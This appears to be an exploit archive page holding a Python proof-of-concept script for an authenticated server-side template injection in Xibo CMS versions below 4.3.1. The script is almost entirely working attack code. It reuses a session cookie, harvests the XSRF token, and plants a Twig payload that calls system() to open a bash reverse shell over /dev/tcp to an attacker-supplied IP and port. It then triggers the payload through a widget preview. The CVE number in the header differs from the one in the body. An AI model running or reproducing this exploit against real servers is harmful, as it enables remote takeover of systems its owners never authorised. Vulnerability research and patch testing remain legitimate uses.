4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
# Exploit Title: Xibo CMS - Authenticated Remote Code Execution via SSTI
# Date: 2025-11-04
# Exploit Author: Cristian Branet
# Vendor Homepage: https://xibosignage.com/
# Software Link: https://github.com/xibosignage/xibo-cms/
# Version: < 4.3.1
# Tested on: Linux (Ubuntu 22.04)
# CVE : CVE-2025-62639
# Article: https://cristibtz.github.io/posts/CVE-2025-62369/

import requests, argparse, pyfiglet, re, json, time

parser = argparse.ArgumentParser(description="This script exploits CVE-2025-62369 in Xibo CMS to get a reverse shell.", formatter_class=argparse.ArgumentDefaultsHelpFormatter)
parser.add_argument("-u", "--url", required=True, help="Xibo CMS server URL (e.g., http://localhost)")
parser.add_argument("-s", "--session-key", required=True, help="Use the PHPSESSID")
parser.add_argument("-i", "--ip", required=True, help="IP address for reverse shell")
parser.add_argument("-p", "--port", required=True, help="Port for reverse shell")

class Exploit:
    
    def __init__(self, url, session, ip, port):
        self.url = url
        self.session = session
        self.ip = ip
        self.port = port
        self.headers = {
            "Cookie": f"PHPSESSID={session}",
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36"
        }

    def get_xsrf_token(self):

        try:            
            response = requests.get(f"{url}/statusdashboard", headers=self.headers)
        except Exception as e:
            print(f"Error connecting to {url}: {e}")
            exit(1)

        text = response.text

        pattern = r'name="token" content="([a-f0-9]+)"'
        
        try:
            xsrf_token = re.search(pattern, text).group(1)
        except Exception as e:
            print(f"Error extracting XSRF token: {e}")
            exit(1)

        return xsrf_token

    def create_module_template(self, xsrf_token):

        timestamp = int(time.time())

        headers = {
            "Cookie": f"PHPSESSID={session}",
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",
            "X-XSRF-TOKEN": f"{xsrf_token}",
            "X-Requested-With": "XMLHttpRequest"
        }

        data = {
            "templateId": f"exploit_poc_{timestamp}", 
            "title": "Template for PoC",
            "dataType": "article",
            "copyTemplateId": "",
            "showIn": "layout"
        }    

        try:
            response = requests.post(f"{self.url}/developer/template", data=data, headers=headers)
        except Exception as e:
            print(f"Error creating module template: {e}")
            exit(1)

        response_info = json.loads(response.text)

        template_id = response_info["id"]

        return template_id, timestamp, f"exploit_poc_{timestamp}"


    def update_module_template(self, xsrf_token, template_id, name):

        headers = {
            "Cookie": f"PHPSESSID={session}",
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",
            "X-XSRF-TOKEN": f"{xsrf_token}",
            "X-Requested-With": "XMLHttpRequest"
        }

        data = {
            "templateId":f"{name}",
            "title": f"Template for PoC - {name}",
            "dataType": "article",
            "showIn": "layout",
            "enabled": "on",
            "developer-template-properties": [],
            "properties": [],
            "twig": '<div style="background: red; color: white; font-size: 24px; padding: 20px;">Command Execution: {{["' + f"bash -c 'bash -i >& /dev/tcp/{ip}/{port} 0>&1'" + '"]|filter(\'system\')}} <br></div>',
            "hbs": "",
            "style": "",
            "head": "",
            "onTemplateRender": "",
            "onTemplateVisible": "",
            "isInvalidateWidget": "on"
        }    

        try:
            response = requests.put(f"{self.url}/developer/template/{template_id}", data=data, headers=headers)
        except Exception as e:
            print(f"Error updating module template: {e}")
            exit(1)

        response_info = json.loads(response.text)

        return response_info["success"]

    def create_normal_template(self, xsrf_token):

        timestamp = int(time.time())

        headers = {
            "Cookie": f"PHPSESSID={session}",
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",
            "X-XSRF-TOKEN": f"{xsrf_token}",
            "X-Requested-With": "XMLHttpRequest"
        }

        data = {
            "folderId": 1,
            "name": f"exploit_poc_template_{timestamp}",
            "tags": "",
            "tagValueInput": "",
            "resolutionId": 1,
            "description": "Exploit template"
        }    

        try:
            response = requests.post(f"{self.url}/template", data=data, headers=headers)
        except Exception as e:
            print(f"Error creating normal template: {e}")
            exit(1)

        response_info = json.loads(response.text)

        template_id = response_info["id"]
        layout_id = response_info["data"]["layoutId"]
        region_id = response_info["data"]["regions"][0]["regionId"]
        playlist_id = response_info["data"]["regions"][0]["regionPlaylist"]["playlistId"]

        return template_id, layout_id, region_id, playlist_id

    def add_rss_widget(self, xsrf_token, playlist_id, name):
        
        headers = {
            "Cookie": f"PHPSESSID={session}",
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",
            "X-XSRF-TOKEN": f"{xsrf_token}",
            "X-Requested-With": "XMLHttpRequest"
        }

        data = {
            "templateId": f"{name}",
        }

        try:
            response = requests.post(f"{url}/playlist/widget/rss-ticker/{str(int(playlist_id) + 1)}", data=data, headers=headers)
        except Exception as e:
            print(f"Error adding RSS widget: {e}")
            exit(1)
    
        response_info = json.loads(response.text)

        widget_id = response_info["id"]

        return widget_id

    def preview_rss_widget(self, xsrf_token, widget_id, playlist_id):
        
        headers = {
            "Cookie": f"PHPSESSID={session}",
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",
            "X-XSRF-TOKEN": f"{xsrf_token}",
            "X-Requested-With": "XMLHttpRequest"
        }

        try:
            response = requests.get(f"{url}/playlist/widget/resource/{str(int(playlist_id) + 1)}/{widget_id}?preview=1&isEditor=1", headers=headers)
        except Exception as e:
            print(f"Error previewing RSS widget: {e}")
            exit(1)

        return response.status_code

if __name__=="__main__":
    print("\n")
    print(pyfiglet.figlet_format("CVE-2025-62369 PoC", font="small", width=100))
    print("Author: Cristian Branet")
    print("GitHub: github.com/cristibtz")
    print("Description: This script exploits CVE-2025-62369 in Xibo CMS to get a reverse shell.")
    print("\n")

    args = parser.parse_args()
    url = args.url
    session = args.session_key
    ip = args.ip
    port = args.port

    xibo_exploit = Exploit(url, session, ip, port)

    try:
        xsrf_token = xibo_exploit.get_xsrf_token()
    except Exception as e:
        print(f"Error getting XSRF token: {e}")
        exit(1)
    
    print("Retrieved XSRF token: ")
    print(xsrf_token)

    try:
        module_template_id, creation_time, name = xibo_exploit.create_module_template(xsrf_token)
    except Exception as e:
        print(f"Error creating module template: {e}")
        exit(1)

    print(f"Created module template with id: {module_template_id} with name: {name}")

    try:
        update_success = xibo_exploit.update_module_template(xsrf_token, module_template_id, name)
    except Exception as e:
        print(f"Error updating module template: {e}")
        exit(1)

    print(f"Updated module template with success: {update_success}")

    print("Creating normal template...")

    try:
        normal_template_id, layout_id, region_id, playlist_id = xibo_exploit.create_normal_template(xsrf_token)
    except Exception as e:
        print(f"Error creating normal template: {e}")
        exit(1)
    
    print("Created normal template with: ")

    print(f"Normal Template ID: {normal_template_id}")
    print(f"Layout ID: {layout_id}")
    print(f"Region ID: {region_id}")
    print(f"Playlist ID: {playlist_id}")

    print("Adding RSS widget to playlist...")

    try:
        widget_id = xibo_exploit.add_rss_widget(xsrf_token, playlist_id, name)
    except Exception as e:
        print(f"Error adding RSS widget: {e}")
        exit(1)

    print(f"Added RSS widget with ID: {widget_id}")

    print("Previewing RSS widget to trigger the exploit...")

    try:
        status_code = xibo_exploit.preview_rss_widget(xsrf_token, widget_id, playlist_id)
    except Exception as e:
        print(f"Error previewing RSS widget: {e}")
        exit(1)

    if status_code == 200:
        print("Exploit triggered successfully! Check your listener for a reverse shell.")
    else:
        print("Failed to trigger the exploit.")